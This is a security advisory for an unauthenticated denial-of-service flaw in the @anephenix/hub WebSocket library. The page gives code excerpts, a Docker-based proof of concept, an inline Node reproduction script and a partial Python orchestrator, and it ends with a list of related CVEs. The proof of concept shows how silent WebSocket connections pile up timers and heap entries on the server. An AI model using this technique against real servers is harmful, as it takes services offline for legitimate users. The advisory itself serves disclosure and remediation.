Summary
@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion
Advisory details
Summary
@anephenix/hub starts a setInterval polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).
Details
When a client connects, loadDefaultConnectionEventListeners (registered in src/lib/index.ts:128) adds a connection listener that calls requestClientId({ ws, rpc }) for every new WebSocket (src/lib/index.ts:262). requestClientId issues an RPC send for the get-client-id action (src/lib/clientId.ts:112), which internally calls rpc.send.
Inside rpc.send, the payload is pushed onto this.requests (src/lib/rpc.ts:282) and waitForReply is invoked. waitForReply starts a setInterval that polls responses[] every 10 ms for a matching reply (src/lib/rpc.ts:250):
// src/lib/rpc.ts:250–267
interval = setInterval(() => {
const response = responses.find(
(r) => r.id === id && r.action === action,
);
if (response) {
if (interval) clearInterval(interval);
// ... resolve and cleanup
this.cleanupRPCCall(response);
}
}, 10);
clearInterval is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the this.requests entry. The close handler registered in loadDefaultConnectionEventListeners (src/lib/index.ts:128–134) only calls pubsub.unsubscribeClientFromAllChannels; it does not cancel pending RPC requests for that socket.
Data flow (source → sink):
src/lib/index.ts:269—wss.on("connection")accepts any remote WebSocket (no authentication).src/lib/index.ts:272— connection listeners are iterated and invoked.src/lib/index.ts:262—requestClientId({ ws, rpc: this.rpc })is called for every connection by default.src/lib/clientId.ts:112—rpc.send({ ws, action: 'get-client-id' })creates an RPC request.src/lib/rpc.ts:282—this.requests.push(payload)registers the pending request.src/lib/rpc.ts:250—setInterval(..., 10)begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.
PoC
Prerequisites: Docker must be available on the host.
Step 1 — Build the verification image:
docker build --no-cache \
-f vuln-001/Dockerfile \
-t hub-vuln-001:latest \
reports/npm_web_272_anephenix__hub
Step 2 — Run the container:
docker run --rm --network none hub-vuln-001:latest
The container runs verify.mjs, which:
- Starts a
Hubserver on a local port. - Opens a WebSocket and waits for the server's
get-client-idRPC message without replying. - Closes the socket and waits 300 ms.
- Inspects
hub.rpc.requests.length— it must remain1even thoughhub.wss.clients.sizeis0. - Opens five more sockets the same way (batch), then verifies that
pendingRpcRequestsequals6.
Step 3 — Alternatively, run the Python orchestrator directly:
python3 vuln-001/poc.py
Expected output (confirmed):
{
"snapshotAfterClose": {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
"snapshotAfterBatch": {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}
pendingRpcRequests grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.
Minimal inline reproduction (without Docker, inside the repository after npm ci && npm run build):
node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';
const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);
await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
serverClients: hub.wss.clients.size,
pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF
Expected:
{"serverClients": 0, "pendingRpcRequests": 1}
Impact
This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable @anephenix/hub server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's get-client-id RPC causes the server process to accumulate one setInterval timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.
No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket connect followed by silence is sufficient.
Reproduction artifacts
Dockerfile
FROM node:20-alpine
RUN apk add --no-cache python3 make g++
WORKDIR /app
# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts
# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build
# Copy the vulnerability verification script into /app so node_modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs
CMD ["node", "/app/verify.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)
Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.
Usage:
python3 poc.py
Exit codes:
0 — vulnerability confirmed (PASS)
1 — not reproduced (FAIL)
2 — environment / build error
"""
import json
import subprocess
import sys
from pathlib import Path
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # …/npm_web_272_anephenix__hub/
DOCKERFILE = SCRIPT_DIR / "Dockerfile"
POC_TAG = "hub-vuln-001:latest"
BUILD_CMD = [
"docker", "build",
"--no-cache",
"-f", str(DOCKERFILE),
"-t", POC_TAG,
str(REPO_ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]
RUN_CMD = [
"docker", "run",
"--rm",
"--network", "none", # no external network access needed
POC_TAG,
]
def banner(msg: str) -> None:
print(f"\n{'='*60}\n {msg}\n{'='*60}")
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
print("quot;, " ".join(cmd))
return subprocess.run(cmd, **kwargs)
def build_image() -> None:
banner("Phase 1 — Building Docker image")
result = run(BUILD_CMD, capture_output=False)
if result.returncode != 0:
print("[ERROR] Docker build failed.", file=sys.stderr)
sys.exit(2)
print("[OK] Image built:", POC_TAG)
def run_poc() -> dict:
banner("Phase 2 — Running vulnerability verification inside container")
result = run(RUN_CMD, capture_output=True, text=True)
print("--- container stdout ---")
print(result.stdout)
if result.stderr:
print("--- container stderr ---")
print(result.stderr)
# The container exits 0 on confirmed leak, 1 otherwise.
if result.returncode == 2:
print("[ERROR]
References
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-73556
vLLM: ReDoS via structured_outputs.regex in the lm-format-enforcer backend (no compile timeout) — missed sibling of GHSA-rwxx-mrjm-wc2m
- MEDIUMCVE-2026-71486
vLLM: Derender endpoints decode caller-supplied GenerateResponse token IDs without output bounds
- HIGHCVE-2026-67445
Mailpit: SMTP command parser buffers unbounded command lines before syntax rejection
- HIGHCVE-2026-67446
Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling
- HIGHCVE-2026-82397
Tornado: Urlencoded body parsing omits max_num_fields, so one request can stall the event loop
- MEDIUMCVE-2026-81723
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`